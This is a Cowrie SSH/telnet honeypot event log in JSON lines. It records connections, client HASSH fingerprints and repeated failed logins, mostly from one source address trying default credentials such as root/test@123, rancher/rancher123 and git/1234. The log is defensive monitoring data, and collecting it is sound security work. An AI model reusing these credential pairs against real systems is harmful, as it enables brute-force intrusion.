{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:53.810399Z","src_ip":"91.92.42.227","session":"8a975ebf58d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234","message":"login attempt [git/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:56.073796Z","src_ip":"91.92.42.227","session":"8a975ebf58d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:57.601745Z","src_ip":"91.92.42.227","session":"8a975ebf58d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.968130111694336,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:57.749221Z","src_ip":"128.199.8.54","session":"0cce3ebadee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36780,"dst_ip":"10.17.0.5","dst_port":22,"session":"934c868f354a","protocol":"ssh","message":"New connection: 91.92.42.227:36780 (10.17.0.5:22) [session: 934c868f354a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:00.217772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:00.725383Z","src_ip":"91.92.42.227","session":"934c868f354a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:00.729448Z","src_ip":"91.92.42.227","session":"934c868f354a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:03.106279Z","src_ip":"91.92.42.227","session":"934c868f354a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:05.132127Z","src_ip":"91.92.42.227","session":"934c868f354a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44256,"dst_ip":"10.17.0.5","dst_port":22,"session":"03907daf8b08","protocol":"ssh","message":"New connection: 91.92.42.227:44256 (10.17.0.5:22) [session: 03907daf8b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:06.686284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:07.225474Z","src_ip":"91.92.42.227","session":"03907daf8b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:07.231883Z","src_ip":"91.92.42.227","session":"03907daf8b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:10.257258Z","src_ip":"91.92.42.227","session":"03907daf8b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.50415778160095,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:11.658243Z","src_ip":"172.81.62.90","session":"f39931bd1de6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:12.012567Z","src_ip":"91.92.42.227","session":"03907daf8b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44308,"dst_ip":"10.17.0.5","dst_port":22,"session":"77405ff005e7","protocol":"ssh","message":"New connection: 91.92.42.227:44308 (10.17.0.5:22) [session: 77405ff005e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:13.142766Z"}
{"eventid":"cowrie.session.closed","duration":82.87196660041809,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:13.628023Z","src_ip":"94.23.66.112","session":"b112e67c0a03","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:13.788471Z","src_ip":"91.92.42.227","session":"77405ff005e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:13.791290Z","src_ip":"91.92.42.227","session":"77405ff005e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:17.563503Z","src_ip":"91.92.42.227","session":"77405ff005e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:19.463294Z","src_ip":"91.92.42.227","session":"77405ff005e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40448,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b111a429025","protocol":"ssh","message":"New connection: 91.92.42.227:40448 (10.17.0.5:22) [session: 9b111a429025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:19.513907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:20.303447Z","src_ip":"91.92.42.227","session":"9b111a429025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:20.306453Z","src_ip":"91.92.42.227","session":"9b111a429025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:24.532179Z","src_ip":"91.92.42.227","session":"9b111a429025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":50594,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b06e89060a0","protocol":"ssh","message":"New connection: 103.149.28.157:50594 (10.17.0.5:22) [session: 1b06e89060a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:24.557623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:24.561378Z","src_ip":"103.149.28.157","session":"1b06e89060a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:24.816334Z","src_ip":"103.149.28.157","session":"1b06e89060a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31071981","message":"login attempt [root/31071981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:25.593603Z","src_ip":"103.149.28.157","session":"1b06e89060a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:26.412038Z","src_ip":"91.92.42.227","session":"9b111a429025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58672,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2380b982afc","protocol":"ssh","message":"New connection: 91.92.42.227:58672 (10.17.0.5:22) [session: d2380b982afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:26.423243Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:26.851615Z","src_ip":"103.149.28.157","session":"1b06e89060a0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:27.861300Z","src_ip":"91.92.42.227","session":"d2380b982afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:27.864676Z","src_ip":"91.92.42.227","session":"d2380b982afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:31.904445Z","src_ip":"91.92.42.227","session":"d2380b982afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58742,"dst_ip":"10.17.0.5","dst_port":22,"session":"b811c220eeb8","protocol":"ssh","message":"New connection: 91.92.42.227:58742 (10.17.0.5:22) [session: b811c220eeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:33.423524Z"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:33.801275Z","src_ip":"91.92.42.227","session":"d2380b982afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":54030,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1c768adce71","protocol":"telnet","message":"New connection: 166.62.124.255:54030 (159.203.135.109:23) [session: e1c768adce71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:33.941397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:34.907769Z","src_ip":"91.92.42.227","session":"b811c220eeb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:34.910416Z","src_ip":"91.92.42.227","session":"b811c220eeb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40281,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7a45fc8e00e","protocol":"ssh","message":"New connection: 168.167.228.74:40281 (159.203.135.109:22) [session: c7a45fc8e00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:39.791742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:39.795461Z","src_ip":"168.167.228.74","session":"c7a45fc8e00e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47682,"dst_ip":"10.17.0.5","dst_port":22,"session":"67c93f8b37d8","protocol":"ssh","message":"New connection: 91.92.42.227:47682 (10.17.0.5:22) [session: 67c93f8b37d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:39.862261Z"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:39.953421Z","src_ip":"91.92.42.227","session":"b811c220eeb8","protocol":"ssh"}
